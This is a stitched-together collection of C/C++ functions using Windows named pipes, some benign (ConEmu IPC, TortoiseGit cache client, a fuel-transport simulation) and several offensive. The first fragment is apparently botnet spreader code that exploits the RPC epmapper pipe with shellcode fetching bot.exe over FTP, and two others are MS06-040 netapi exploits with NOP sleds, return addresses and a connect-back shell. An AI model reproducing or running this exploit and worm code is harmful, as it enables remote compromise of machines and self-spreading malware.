if(!m_sSocket.Write(szReqBuf, iReqSize)) { m_sSocket.Disconnect(); return false; } // Read reply if(!m_sSocket.RecvTO(szRecvBuf, sizeof(szRecvBuf), 5000)) { m_sSocket.Disconnect(); return false; } // Close the socket that was once funky fresh m_sSocket.Disconnect(); return true; } break; case 445: { #ifdef _WIN32 NETRESOURCEW nr; bool bRetVal=false; if(!ConnectViaNullSession(m_sSocket.m_szHost, &nr)) return bRetVal; else { int iHostOS=FpHost(m_sSocket.m_szHost, FP_NP); if(iHostOS==OS_UNKNOWN) iHostOS=FpHost(m_sSocket.m_szHost, FP_SMB); char szPipePath[MAX_PATH]; sprintf(szPipePath, "\\\\%s\\pipe\\epmapper", m_sSocket.m_szHost); HANDLE hFile=CreateFile(szPipePath, GENERIC_WRITE|GENERIC_READ, FILE_SHARE_READ, \ NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if(hFile!=INVALID_HANDLE_VALUE) { SendLocal("%s: connected to pipe \\\\%s\\pipe\\epmapper.", m_sScannerName.CStr(), m_sSocket.m_szHost); char szSCBuf[4096]; char szReqBuf[4096]; char szShellBuf[4096]; int iShellSize=0, iPos=0, iSCSize=0, iReqSize=0, iNOPSize=sizeof(nops)-1; char *pTemp; CString sURL; if(IsPrivate(g_pMainCtrl->m_cIRC.m_sLocalIp.CStr()) && !IsPrivate(m_sSocket.m_szHost)) sURL.Format("ftp://*****:*****@%s:%d/bot.exe", g_pMainCtrl->m_cIRC.m_sLocalHost.CStr(), \ g_pMainCtrl->m_cBot.bot_ftrans_port_ftp.iValue); else sURL.Format("ftp://*****:*****@%s:%d/bot.exe", inet_ntoa(to_in_addr(g_pMainCtrl->m_cIRC.m_lLocalAddr)), \ g_pMainCtrl->m_cBot.bot_ftrans_port_ftp.iValue); iShellSize=setup_shellcode_udtf(szShellBuf, sizeof(szShellBuf), sURL.Str(), false); // Build a buffer with the shellcode memcpy(szSCBuf+iPos, shellcode_start, sizeof(shellcode_start)-1 ); iPos+=sizeof(shellcode_start)-1; memset(szSCBuf+iPos, '\x90', iNOPSize ); iPos+=iNOPSize; memcpy(szSCBuf+iPos, szShellBuf, iShellSize ); iPos+=iShellSize; iSCSize=iPos; iPos=0; // Prepend NOPs as long as shellcode doesn't fit RPC packet format while(iSCSize%16!=12) { char *szTemp=(char*)malloc(iSCSize+1); iNOPSize++; memcpy(szSCBuf+iPos, shellcode_start, sizeof(shellcode_start)-1 ); iPos+=sizeof(shellcode_start)-1; memset(szSCBuf+iPos, '\x90', iNOPSize ); iPos+=iNOPSize; memcpy(szSCBuf+iPos, szShellBuf, iShellSize ); iPos+=iShellSize; iSCSize=iPos; iPos=0; free(szTemp); } // Set the return address if(iHostOS==OS_WINXP || iHostOS==OS_UNKNOWN) memcpy(szSCBuf+36, (char*)&my_offsets[1], 4); else memcpy(szSCBuf+36, (char*)&my_offsets[0], 4); // Build the request memcpy(szReqBuf+iPos, request1, sizeof(request1)-1 ); iPos+=sizeof(request1)-1; memcpy(szReqBuf+iPos, request2, sizeof(request2)-1 ); iPos+=sizeof(request2)-1; memcpy(szReqBuf+iPos, szSCBuf, iSCSize ); iPos+=iSCSize; memcpy(szReqBuf+iPos, request3, sizeof(request3)-1 ); iPos+=sizeof(request3)-1; memcpy(szReqBuf+iPos, request4, sizeof(request4)-1 ); iPos+=sizeof(request4)-1; iReqSize=iPos; pTemp=szReqBuf+sizeof(request1)-1; // Fill the request with the right sizes *(unsigned long*)(pTemp) = *(unsigned long*)(pTemp) + iSCSize / 2; *(unsigned long*)(pTemp+8) = *(unsigned long*)(pTemp+8) + iSCSize / 2; pTemp=szReqBuf; *(unsigned long*)(pTemp+8) = *(unsigned long*)(pTemp+8) + iSCSize - 12; *(unsigned long*)(pTemp+16) = *(unsigned long*)(pTemp+16) + iSCSize - 12; *(unsigned long*)(pTemp+128) = *(unsigned long*)(pTemp+128) + iSCSize - 12; *(unsigned long*)(pTemp+132) = *(unsigned long*)(pTemp+132) + iSCSize - 12; *(unsigned long*)(pTemp+180) = *(unsigned long*)(pTemp+180) + iSCSize - 12; *(unsigned long*)(pTemp+184) = *(unsigned long*)(pTemp+184) + iSCSize - 12; *(unsigned long*)(pTemp+208) = *(unsigned long*)(pTemp+208) + iSCSize - 12; *(unsigned long*)(pTemp+396) = *(unsigned long*)(pTemp+396) + iSCSize - 12; unsigned long lWritten; char *szInBuf=(char*)malloc(100000); memset(szInBuf, 0, 100000); // Send the bind string DWORD dwRead; TransactNamedPipe(hFile, bindstr, sizeof(bindstr)-1, szInBuf, 10000, &dwRead, NULL); if(szInBuf[2]!=0x0C) { CloseHandle(hFile); CloseNullSession(m_sSocket.m_szHost); return bRetVal; } // Send the evil request if(!WriteFile(hFile, szReqBuf, iReqSize, &lWritten, 0)) { CloseHandle(hFile); CloseNullSession(m_sSocket.m_szHost); return bRetVal; } if(!ReadFile(hFile, szInBuf, 10000, &dwRead, NULL)) bRetVal=true; else bRetVal=false; free(szInBuf); } CloseHandle(hFile); CloseNullSession(m_sSocket.m_szHost); } return bRetVal; #endif // _WIN32 } break; default: return false; break; } return false; }
//Arguments: // hConWnd - Хэндл КОНСОЛЬНОГО окна (по нему формируется имя пайпа для GUI) // pIn - выполняемая команда // nTimeout- таймаут подключения //Returns: // CESERVER_REQ. Его необходимо освободить через free(...); //WARNING!!! // Эта процедура не может получить с сервера более 600 байт данных! // В заголовке hOwner в дебаге может быть отображена ошибка CESERVER_REQ* ExecuteCmd(const wchar_t* szPipeName, CESERVER_REQ* pIn, DWORD nWaitPipe, HWND hOwner, BOOL bAsyncNoResult, DWORD nServerPID, BOOL bIgnoreAbsence /*= FALSE*/) { CESERVER_REQ* pOut = NULL; HANDLE hPipe = NULL; BYTE cbReadBuf[600]; // чтобы CESERVER_REQ_OUTPUTFILE поместился wchar_t szErr[MAX_PATH*2]; szErr[0] = 0; BOOL fSuccess = FALSE; DWORD cbRead = 0, /*dwMode = 0,*/ dwErr = 0; int nAllSize; LPBYTE ptrData; #ifdef _DEBUG bool bIsAltSrvCmd; wchar_t szDbgPrefix[64], szDbgResult[64], *pszDbgMsg = NULL; #endif if (!pIn || !szPipeName) { _ASSERTE(pIn && szPipeName); pOut = NULL; goto wrap; } #ifdef _DEBUG _wsprintf(szDbgPrefix, SKIPLEN(countof(szDbgPrefix)) L">> ExecCmd: PID=%5u TID=%5u Cmd=%3u ", GetCurrentProcessId(), GetCurrentThreadId(), pIn->hdr.nCmd); pszDbgMsg = lstrmerge(szDbgPrefix, szPipeName, L"\n"); if (pszDbgMsg) { DEBUGSTRCMD(pszDbgMsg); free(pszDbgMsg); } #endif pIn->hdr.bAsync = bAsyncNoResult; _ASSERTE(pIn->hdr.nSrcPID && pIn->hdr.nSrcThreadId); _ASSERTE(pIn->hdr.cbSize >= sizeof(pIn->hdr)); hPipe = ExecuteOpenPipe(szPipeName, szErr, NULL/*Сюда хорошо бы имя модуля подкрутить*/, nServerPID, nWaitPipe, FALSE, NULL, bIgnoreAbsence); if (hPipe == NULL || hPipe == INVALID_HANDLE_VALUE) { #ifdef _DEBUG dwErr = GetLastError(); // в заголовке "чисто" запущенного фара появляются отладочные(?) сообщения // по идее - не должны, т.к. все должно быть через мэппинг // *** _ASSERTEX(hPipe != NULL && hPipe != INVALID_HANDLE_VALUE); - no need in assert, it was already shown #ifdef CONEMU_MINIMAL SetConsoleTitle(szErr); #else if (hOwner) { if (hOwner == myGetConsoleWindow()) SetConsoleTitle(szErr); else SetWindowText(hOwner, szErr); } #endif #endif pOut = NULL; goto wrap; } #ifdef _DEBUG bIsAltSrvCmd = (pIn->hdr.nCmd==CECMD_ALTBUFFER || pIn->hdr.nCmd==CECMD_ALTBUFFERSTATE || pIn->hdr.nCmd==CECMD_SETCONSCRBUF || pIn->hdr.nCmd == CECMD_LOCKSTATION || pIn->hdr.nCmd == CECMD_UNLOCKSTATION); _ASSERTE(pIn->hdr.nSrcThreadId==GetCurrentThreadId() || (bIsAltSrvCmd && pIn->hdr.nSrcPID!=GetCurrentProcessId())); #endif if (bAsyncNoResult) { // Если нас не интересует возврат и нужно сразу вернуться fSuccess = WriteFile(hPipe, pIn, pIn->hdr.cbSize, &cbRead, NULL); #ifdef _DEBUG dwErr = GetLastError(); _ASSERTE(fSuccess && (cbRead == pIn->hdr.cbSize)); #endif // -- Do not close hPipe, otherwise the reader may fail with that packet // -- with error ‘pipe was closed before end’. // -- Handle leak, yeah, however this is rarely used op. // -- Must be refactored, but not so critical... // -- CloseHandle(hPipe); pOut = NULL; goto wrap; } else { WARNING("При Overlapped часто виснет в этом месте."); // Send a message to the pipe server and read the response. fSuccess = TransactNamedPipe( hPipe, // pipe handle (LPVOID)pIn, // message to server pIn->hdr.cbSize, // message length cbReadBuf, // buffer to receive reply sizeof(cbReadBuf), // size of read buffer &cbRead, // bytes read NULL); // not overlapped dwErr = GetLastError(); //CloseHandle(hPipe); if (!fSuccess && (dwErr != ERROR_MORE_DATA)) { //_ASSERTE(fSuccess || (dwErr == ERROR_MORE_DATA)); CloseHandle(hPipe); pOut = NULL; goto wrap; } } if (cbRead < sizeof(CESERVER_REQ_HDR)) { CloseHandle(hPipe); pOut = NULL; goto wrap; } pOut = (CESERVER_REQ*)cbReadBuf; // temporary if (pOut->hdr.cbSize < cbRead) { CloseHandle(hPipe); if (pOut->hdr.cbSize) { _ASSERTE(pOut->hdr.cbSize == 0 || pOut->hdr.cbSize >= cbRead); DEBUGSTR(L"!!! Wrong nSize received from GUI server !!!\n"); } pOut = NULL; goto wrap; } if (pOut->hdr.nVersion != CESERVER_REQ_VER) { CloseHandle(hPipe); DEBUGSTR(L"!!! Wrong nVersion received from GUI server !!!\n"); pOut = NULL; goto wrap; } nAllSize = pOut->hdr.cbSize; pOut = (CESERVER_REQ*)malloc(nAllSize); _ASSERTE(pOut); if (!pOut) { CloseHandle(hPipe); _ASSERTE(pOut == NULL); goto wrap; } memmove(pOut, cbReadBuf, cbRead); ptrData = ((LPBYTE)pOut)+cbRead; nAllSize -= cbRead; while (nAllSize>0) { // Break if TransactNamedPipe or ReadFile is successful if (fSuccess) break; // Read from the pipe if there is more data in the message. fSuccess = ReadFile( hPipe, // pipe handle ptrData, // buffer to receive reply nAllSize, // size of buffer &cbRead, // number of bytes read NULL); // not overlapped // Exit if an error other than ERROR_MORE_DATA occurs. if (!fSuccess && ((dwErr = GetLastError()) != ERROR_MORE_DATA)) break; ptrData += cbRead; nAllSize -= cbRead; } CloseHandle(hPipe); if (pOut && (pOut->hdr.nCmd != pIn->hdr.nCmd)) { _ASSERTE(pOut->hdr.nCmd == pIn->hdr.nCmd); if (pOut->hdr.nCmd == 0) { ExecuteFreeResult(pOut); pOut = NULL; } } wrap: #ifdef _DEBUG if (pOut) _wsprintf(szDbgResult, SKIPLEN(countof(szDbgResult)) L"- Data=%5u Err=%u\n", pOut->DataSize(), dwErr); else lstrcpyn(szDbgResult, L"[NULL]\n", countof(szDbgResult)); pszDbgMsg = lstrmerge(szDbgPrefix, szDbgResult); if (pszDbgMsg) { DEBUGSTRCMD(pszDbgMsg); free(pszDbgMsg); } #endif return pOut; }
bool CRemoteCacheLink::GetStatusFromRemoteCache(const CTGitPath& Path, TGITCacheResponse* pReturnedStatus, bool bRecursive) { if(!EnsurePipeOpen()) { // We've failed to open the pipe - try and start the cache // but only if the last try to start the cache was a certain time // ago. If we just try over and over again without a small pause // in between, the explorer is rendered unusable! // Failing to start the cache can have different reasons: missing exe, // missing registry key, corrupt exe, ... if (((long)GetTickCount() - m_lastTimeout) < 0) return false; STARTUPINFO startup; PROCESS_INFORMATION process; memset(&startup, 0, sizeof(startup)); startup.cb = sizeof(startup); memset(&process, 0, sizeof(process)); CString sCachePath = CPathUtils::GetAppDirectory(g_hmodThisDll) + _T("TGitCache.exe"); #ifndef _WIN64 typedef BOOL (WINAPI *LPFN_ISWOW64PROCESS) (HANDLE, PBOOL); LPFN_ISWOW64PROCESS fnIsWow64Process; fnIsWow64Process = (LPFN_ISWOW64PROCESS)GetProcAddress(GetModuleHandle(TEXT("kernel32")),"IsWow64Process"); if (NULL != fnIsWow64Process) { BOOL bIsWow64 = false; if (!fnIsWow64Process(GetCurrentProcess(),&bIsWow64)) { bIsWow64 = false; } if (bIsWow64) { CRegString tgitinstalled64 = CRegString(_T("Software\\TortoiseGit\\CachePath"), _T(""), false, HKEY_LOCAL_MACHINE, KEY_WOW64_64KEY); if (!CString(tgitinstalled64).IsEmpty()) sCachePath = tgitinstalled64; } } if (!CCreateProcessHelper::CreateProcessDetached(sCachePath, NULL)) { ATLTRACE("Failed to start x64 cache\n"); CString sCachePath = CPathUtils::GetAppDirectory(g_hmodThisDll) + _T("TGitCache.exe"); if (!CCreateProcessHelper::CreateProcessDetached(sCachePath, NULL)) { // It's not appropriate to do a message box here, because there may be hundreds of calls ATLTRACE("Failed to start cache\n"); return false; } } #else if (!CCreateProcessHelper::CreateProcessDetached(sCachePath, NULL)) { // It's not appropriate to do a message box here, because there may be hundreds of calls ATLTRACE("Failed to start cache\n"); return false; } #endif CloseHandle(process.hThread); CloseHandle(process.hProcess); sCachePath.ReleaseBuffer(); // Wait for the cache to open long endTime = (long)GetTickCount()+1000; while(!EnsurePipeOpen()) { if(((long)GetTickCount() - endTime) > 0) { m_lastTimeout = (long)GetTickCount()+10000; return false; } } } AutoLocker lock(m_critSec); DWORD nBytesRead; TGITCacheRequest request; request.flags = TGITCACHE_FLAGS_NONOTIFICATIONS; if(bRecursive) { request.flags |= TGITCACHE_FLAGS_RECUSIVE_STATUS; } wcsncpy_s(request.path, MAX_PATH+1, Path.GetWinPath(), MAX_PATH); SecureZeroMemory(&m_Overlapped, sizeof(OVERLAPPED)); m_Overlapped.hEvent = m_hEvent; // Do the transaction in overlapped mode. // That way, if anything happens which might block this call // we still can get out of it. We NEVER MUST BLOCK THE SHELL! // A blocked shell is a very bad user impression, because users // who don't know why it's blocked might find the only solution // to such a problem is a reboot and therefore they might lose // valuable data. // One particular situation where the shell could hang is when // the cache crashes and our crash report dialog comes up. // Sure, it would be better to have no situations where the shell // even can get blocked, but the timeout of 10 seconds is long enough // so that users still recognize that something might be wrong and // report back to us so we can investigate further. BOOL fSuccess = TransactNamedPipe(m_hPipe, &request, sizeof(request), pReturnedStatus, sizeof(*pReturnedStatus), &nBytesRead, &m_Overlapped); if (!fSuccess) { if (GetLastError()!=ERROR_IO_PENDING) { //OutputDebugStringA("TortoiseShell: TransactNamedPipe failed\n"); ClosePipe(); return false; } // TransactNamedPipe is working in an overlapped operation. // Wait for it to finish DWORD dwWait = WaitForSingleObject(m_hEvent, 10000); if (dwWait == WAIT_OBJECT_0) { fSuccess = GetOverlappedResult(m_hPipe, &m_Overlapped, &nBytesRead, FALSE); } else { // the cache didn't respond! fSuccess = FALSE; } } if (fSuccess) { return true; } ClosePipe(); return false; }
int main(int argc, char* argv[]) { HANDLE hFile; NETRESOURCE nr; char szRemoteName[MAX_PATH], szPipePath[MAX_PATH]; unsigned int i; unsigned char szInBuf[4096]; unsigned long dwRead, nWritten; unsigned char szReqBuf[2096]; if (argc < 3){ printf("[-] Usage: ms06040poc <host> [target]\n"); printf("\t1 - Windows 2000 SP0-SP4\n"); printf("\t2 - Windows XP SP0-SP1\n"); return -1; } memset(szReqBuf, 0, sizeof(szReqBuf)); if (atoi(argv[2]) == 1) { unsigned char szBuff[1064]; // build payload buffer memset(szBuff, '\x90', 1000); memcpy(szBuff+630, sc, sizeof(sc)); for(i=1000; i<1064; i+=4) { memcpy(szBuff+i, "\x04\x08\x02\x00", 4); } // build request buffer memcpy(szReqBuf, DCERPC_Request_RPC_Service, sizeof(DCERPC_Request_RPC_Service)-1); memcpy(szReqBuf+44, "\x15\x02\x00\x00", 4); /* max count */ memcpy(szReqBuf+48, "\x00\x00\x00\x00", 4); /* offset */ memcpy(szReqBuf+52, "\x15\x02\x00\x00", 4); /* actual count */ memcpy(szReqBuf+56, szBuff, sizeof(szBuff)); memcpy(szReqBuf+1120, "\x00\x00\x00\x00", 4); /* align string */ memcpy(szReqBuf+1124, DCERPC_Request_RPC_Service_, sizeof(DCERPC_Request_RPC_Service_)-1); memcpy(szReqBuf+1140 , "\xeb\x02", 2); } if (atoi(argv[2]) == 2) { unsigned char szBuff[708]; memset(szBuff, '\x90', 612); /* size of shellcode */ memcpy(szBuff, sc, sizeof(sc)); memcpy(szBuff+612, "\x0a\x08\x02\x00", 4); memset(szBuff+616, 'A', 8); // 8 bytes padding memcpy(szBuff+624, "\x04\x08\x02\x00", 4); memset(szBuff+628, '\x90', 32); memcpy(szBuff+660, "\x04\x08\x02\x00", 4); memset(szBuff+664, 'B', 8); // 8 bytes padding memcpy(szBuff+672, "\x04\x08\x02\x00", 4); memset(szBuff+676, '\x90', 32); // build request buffer memcpy(szReqBuf, DCERPC_Request_RPC_Service, sizeof(DCERPC_Request_RPC_Service)-1); memcpy(szReqBuf+44, "\x63\x01\x00\x00", 4); /* max count */ memcpy(szReqBuf+48, "\x00\x00\x00\x00", 4); /* offset */ memcpy(szReqBuf+52, "\x63\x01\x00\x00", 4); /* actual count */ memcpy(szReqBuf+56, szBuff, sizeof(szBuff)); memcpy(szReqBuf+764, "\x00\x00\x00\x00", 4); /* align string */ memcpy(szReqBuf+768, DCERPC_Request_RPC_Service_, sizeof(DCERPC_Request_RPC_Service_)-1); } printf("[+] Connecting to %s ... \n", argv[1]); _snprintf(szRemoteName, sizeof(szRemoteName), "\\\\%s\\ipc$", argv[1]); nr.dwType = RESOURCETYPE_ANY; nr.lpLocalName = NULL; nr.lpProvider = NULL; nr.lpRemoteName = szRemoteName; if (WNetAddConnection2(&nr, "", "", 0) != NO_ERROR) { printf("[-] Failed to connect to host !\n"); return -1; } _snprintf(szPipePath, sizeof(szPipePath), "\\\\%s\\pipe\\browser", argv[1]); hFile = CreateFile(szPipePath, GENERIC_READ|GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL); if (hFile == INVALID_HANDLE_VALUE) { printf("[-] Failed to open named pipe !\n"); return -1; } printf("[+] Binding to RPC interface ... \n"); if (TransactNamedPipe(hFile, DCERPC_Bind_RPC_Service, sizeof(DCERPC_Bind_RPC_Service), szInBuf, sizeof(szInBuf), &dwRead, NULL) == 0) { printf("[-] Failed to bind to interface !\n"); CloseHandle(hFile); return -1; } printf("[+] Sending RPC request ... \n"); if (!WriteFile(hFile, szReqBuf, sizeof(szReqBuf), &nWritten, 0)) { printf("[-] Unable to transmit RPC request !\n"); CloseHandle(hFile); return -1; } printf("[+] Now check for shell on %s:4444 !\n", argv[1]); return 0; }
void netapi(ExploitInfo_s* pExploitInfo) { NETRESOURCE NtRes; HANDLE hFile; char szUnc[MAX_PATH]; char szPipe[MAX_PATH]; char szResponse[MAX_PATH]; int nCount; DWORD dwValue; DWORD dwTarget = 0x00020804; char szShellcode[512]; DWORD dwShellcodeSize = GenerateEncodedShellcode(szShellcode, sizeof(szShellcode), dwShellcodeIpAddress, usShellcodePort, pExploit[pExploitInfo->dwExploitId].dwExploitId, "\r\n\\_/.", sizeof("\r\n\\_/.")); if (!dwShellcodeSize) ExitThread(0); // Determine remote OS int iTargetOS = FpHost(pExploitInfo->dwRemoteIp, FP_RPC); if(!iTargetOS) iTargetOS = FpHost(pExploitInfo->dwRemoteIp, FP_PORT5K); if(!iTargetOS) iTargetOS = OS_WIN2K; ZeroMemory(szStub, sizeof(szStub)); memset(szPath, '\x90', sizeof(szPath)); sprintf(szUnc, "\\\\%s\\PIPE", GetIP(pExploitInfo->dwRemoteIp)); sprintf(szPipe, "\\\\%s\\PIPE\\BROWSER", GetIP(pExploitInfo->dwRemoteIp)); NtRes.dwType = RESOURCETYPE_ANY; NtRes.lpLocalName = NULL; NtRes.lpRemoteName = szUnc; NtRes.lpProvider = NULL; if (WNetAddConnection2(&NtRes, "", "", 0) != ERROR_SUCCESS) { ExitThread(0); } hFile = CreateFile(szPipe, GENERIC_READ|GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL); if (hFile == INVALID_HANDLE_VALUE) { ExitThread(0); } if (!TransactNamedPipe(hFile, &RPCBind, sizeof(RPCBind) - 1, szResponse, sizeof(szResponse), &dwValue, NULL)) { ExitThread(0); } if(iTargetOS == OS_WIN2K || iTargetOS == OS_WINNT){ memcpy(szPath + 600, szShellcode, dwShellcodeSize); for (nCount = 0; nCount < 16; nCount++) { memcpy(szPath + 1000 + (nCount * 4), &dwTarget, 4); } dwValue = 1152; memcpy(&RPCRequest[8], &dwValue, 2); dwValue = 1124; memcpy(&RPCRequest[16], &dwValue, 2); memcpy(szStub, &RPCRequest, 24); memcpy(szStub + 24, "\x01\x00\x00\x00", 4); memcpy(szStub + 28, "\x01\x00\x00\x00", 4); memcpy(szStub + 32, "\x00\x00\x00\x00", 4); memcpy(szStub + 36, "\x01\x00\x00\x00", 4); memcpy(szStub + 40, "\x00\x00\x00\x00", 4); memcpy(szStub + 44, "\x15\x02\x00\x00", 4); memcpy(szStub + 48, "\x00\x00\x00\x00", 4); memcpy(szStub + 52, "\x15\x02\x00\x00", 4); memcpy(szStub + 56, &szPath, 1064); memcpy(szStub + 1124, "\x01\x00\x00\x00", 4); memcpy(szStub + 1128, "\x02\x00\x00\x00", 4); memcpy(szStub + 1132, "\x00\x00\x00\x00", 4); memcpy(szStub + 1136, "\x02\x00\x00\x00", 4); memcpy(szStub + 1140, "\xeb\x02\x00\x00", 4); memcpy(szStub + 1144, "\x01\x00\x00\x00", 4); memcpy(szStub + 1148, "\x00\x00\x00\x00", 4); TransactNamedPipe(hFile, szStub, 1152, szResponse, sizeof(szResponse), &dwValue, NULL); } else if(iTargetOS == OS_WINXP) { memcpy(szPath, szShellcode, dwShellcodeSize); dwValue = dwTarget + 6; memcpy(szPath + 612, &dwValue, 4); memcpy(szPath + 624, &dwTarget, 4); memcpy(szPath + 660, &dwTarget, 4); memcpy(szPath + 672, &dwTarget, 4); memcpy(szPath + 708, "\x00\x00", 2); dwValue = 796; memcpy(&RPCRequest[8], &dwValue, 2); dwValue = 772; memcpy(&RPCRequest[16], &dwValue, 2); memcpy(szStub, &RPCRequest, 24); memcpy(szStub + 24, "\x01\x00\x00\x00", 4); memcpy(szStub + 28, "\x01\x00\x00\x00", 4); memcpy(szStub + 32, "\x00\x00\x00\x00", 4); memcpy(szStub + 36, "\x01\x00\x00\x00", 4); memcpy(szStub + 40, "\x00\x00\x00\x00", 4); memcpy(szStub + 44, "\x63\x01\x00\x00", 4); memcpy(szStub + 48, "\x00\x00\x00\x00", 4); memcpy(szStub + 52, "\x63\x01\x00\x00", 4); memcpy(szStub + 56, &szPath, 710); memcpy(szStub + 768, "\x01\x00\x00\x00", 4); memcpy(szStub + 772, "\x01\x00\x00\x00", 4); memcpy(szStub + 776, "\x00\x00\x00\x00", 4); memcpy(szStub + 780, "\x01\x00\x00\x00", 4); memcpy(szStub + 784, "\x00\x00\x00\x00", 4); memcpy(szStub + 788, "\x01\x00\x00\x00", 4); memcpy(szStub + 792, "\x00\x00\x00\x00", 4); TransactNamedPipe(hFile, szStub, 796, szResponse, sizeof(szResponse), &dwValue, NULL); if (dwValue) { TransactNamedPipe(hFile, szStub, 796, szResponse, sizeof(szResponse), &dwValue, NULL); } } else return; ExitThread(1); }
DWORD WINAPI PowerBlock(LPVOID lpParam) { //adduction parameter to index value int index = *((int *)lpParam); //general loop int fuelWeight = 0; HANDLE hPipeClient; BOOL fSuccess; DWORD dwMode = PIPE_READMODE_MESSAGE; int cap = 0; unsigned long cbBytesWrite = 0; unsigned long cbBytesRead = 0; while (TRUE) { //check terminate flag if (terminate) { break; } //connected to store pipe as client //connect loop while (TRUE) { hPipeClient = CreateFile ( lpstrTransporterPipeName, //pipe name GENERIC_READ | //read/write access GENERIC_WRITE, 0, //no sharing NULL, //default security attributes OPEN_EXISTING, //open existing pipe 0, //default attributes NULL //no template file ); if (hPipeClient != INVALID_HANDLE_VALUE) { break; } //waiting until server is busy WaitNamedPipe(lpstrTransporterPipeName, NMPWAIT_WAIT_FOREVER); } //pipe connected //change to message-read mode fSuccess = SetNamedPipeHandleState( hPipeClient, //pipe handle &dwMode, //new pipe mode NULL, //don`t set maximum size NULL //don`t set maximum time ); if (!fSuccess) { CloseHandle(hPipeClient); return (EXIT_FAILURE); } //post the message to transporter that power block is empty //waiting for the transporter fSuccess = TransactNamedPipe( hPipeClient, //handle to pipe &index, //address of write data variable cbufsize, //size of write data variable &fuelWeight, //address of store data variable cbufsize, //size of store data variable &cbBytesRead, //number of bytes read NULL //not overlapped I/O ); //transaction is failed if (!fSuccess || cbBytesRead == 0) { CloseHandle(hPipeClient); return (EXIT_FAILURE); } //visualisation of loading fuel to appropriate power block for (int i = 0; i < fuelWeight; ++i) { delay(SUSPEND_FACT / 2); setfillstyle(1, cGREEN); bar(index * 80 + 90, 235 - i * 25, index * 80 + 150, 255 - i * 25); } //write to pipe that power block is full fSuccess = WriteFile( hPipeClient, //handle to pipe &cap, //address of write data variable cbufsize, //number of bytes to write &cbBytesWrite, //number of bytes written NULL //not overlapped I/O ); //write was failed if (!fSuccess || cbBytesWrite != cbufsize) { CloseHandle(hPipeClient); return (EXIT_FAILURE); } //close client`s end of the pipe CloseHandle(hPipeClient); //visualisation of consumption the fuel for (int i = maxLoad - fuelWeight; i < maxLoad; ++i) { delay(SUSPEND_FACT * 20); setfillstyle(1, cWHITE); bar(index * 80 + 90, i * 25 + 10, index * 80 + 150, i * 25 + 30); } } return (EXIT_SUCCESS); }
DWORD WINAPI Transporter(LPVOID lpParam) { HANDLE hPipeClient; //connected to store pipe as client //connect loop while (TRUE) { hPipeClient = CreateFile ( lpstrStorePipeName, //pipe name GENERIC_READ | //read/write access GENERIC_WRITE, 0, //no sharing NULL, //default security attributes OPEN_EXISTING, //open existing pipe 0, //default attributes NULL //no template file ); if (hPipeClient != INVALID_HANDLE_VALUE) { break; } } //pipe connected //change to message-read mode BOOL fSuccess; DWORD dwMode = PIPE_READMODE_MESSAGE; fSuccess = SetNamedPipeHandleState( hPipeClient, //pipe handle &dwMode, //new pipe mode NULL, //don`t set maximum size NULL //don`t set maximum time ); if (!fSuccess) { CloseHandle(hPipeClient); return (EXIT_FAILURE); } //create pipe for power block threads HANDLE hPipe; hPipe = CreateNamedPipe( lpstrTransporterPipeName, //pipe name PIPE_ACCESS_DUPLEX, //read/write access PIPE_TYPE_MESSAGE | //message type pipe PIPE_READMODE_MESSAGE | //message-read mode PIPE_WAIT, //blocking mode 1, //max instances cbufsize, //output buffer size cbufsize, //input buffer size 0, //client time-out NULL //default security attributes ); if (hPipe == INVALID_HANDLE_VALUE) { CloseHandle(hPipeClient); return (EXIT_FAILURE); } //general loop int fuelWeight = 0; int emptyBlock = 0; int cap = 0; unsigned long cbBytesWrite = 0; unsigned long cbBytesRead = 0; while (TRUE) { //check terminate flag if (terminate) { //disconnect client FlushFileBuffers(hPipe); DisconnectNamedPipe(hPipe); CloseHandle(hPipe); //disconnect from server CloseHandle(hPipeClient); break; } //initial transport position setfillstyle(1, cGREY); bar(30, 260, 50, 280); //write to store pipe that transporter is arrived //and wait for fuel weight from store fSuccess = TransactNamedPipe( hPipeClient, //handle to pipe &cap, //address of write data variable cbufsize, //size of write data variable &fuelWeight, //address of store data variable cbufsize, //size of store data variable &cbBytesRead, //number of bytes read NULL //not overlapped I/O ); //transaction is failed if (!fSuccess || cbBytesRead == 0) { //disconnect client FlushFileBuffers(hPipe); DisconnectNamedPipe(hPipe); CloseHandle(hPipe); //disconnect from server CloseHandle(hPipeClient); return (EXIT_FAILURE); } //visualisation of loading state setfillstyle(1, cGREEN); bar(30, 260, 50, 280); //waiting for the first empty power block ConnectNamedPipe(hPipe, NULL); //take index of empty power block fSuccess = ReadFile( hPipe, //handle to pipe &emptyBlock, //address of store data variable cbufsize, //size of store data variable &cbBytesRead, //number of bytes read NULL //not overlapped I/O ); //read was failed if (!fSuccess || cbBytesRead == 0) { //disconnect client FlushFileBuffers(hPipe); DisconnectNamedPipe(hPipe); CloseHandle(hPipe); //disconnect from server CloseHandle(hPipeClient); return (EXIT_FAILURE); } //visualisation of transferring fuel to appropriate power block for (int i = 0; i < emptyBlock * 80 + 80; ++i) { setfillstyle(1, cGREEN); bar(i + 30, 260, i + 50, 280); delay(SUSPEND_FACT / 50); setfillstyle(1, cWHITE); bar(i + 30, 260, i + 50, 280); } //unload transport position setfillstyle(1, cGREEN); bar(emptyBlock * 80 + 110, 260, emptyBlock * 80 + 130, 280); //write that transporter is arrived to power block fSuccess = WriteFile( hPipe, //handle to pipe &fuelWeight, //address of write data variable cbufsize, //number of bytes to write &cbBytesWrite, //number of bytes written NULL //not overlapped I/O ); //write was failed if (!fSuccess || cbBytesWrite != cbufsize) { //disconnect client FlushFileBuffers(hPipe); DisconnectNamedPipe(hPipe); CloseHandle(hPipe); //disconnect from server CloseHandle(hPipeClient); return (EXIT_FAILURE); } //waiting until power block is filled fSuccess = ReadFile( hPipe, //handle to pipe &cap, //address of store data variable cbufsize, //size of store data variable &cbBytesRead, //number of bytes read NULL //not overlapped I/O ); //read was failed if (!fSuccess || cbBytesRead == 0) { //disconnect client FlushFileBuffers(hPipe); DisconnectNamedPipe(hPipe); CloseHandle(hPipe); //disconnect from server CloseHandle(hPipeClient); return (EXIT_FAILURE); } //disconnect client FlushFileBuffers(hPipe); DisconnectNamedPipe(hPipe); //visualisation of transferring back to store fuel item for (int i = emptyBlock * 80 + 80; i >= 0; --i) { setfillstyle(1, cGREY); bar(i + 30, 260, i + 50, 280); delay(SUSPEND_FACT / 100); setfillstyle(1, cWHITE); bar(i + 30, 260, i + 50, 280); } } return (EXIT_SUCCESS); }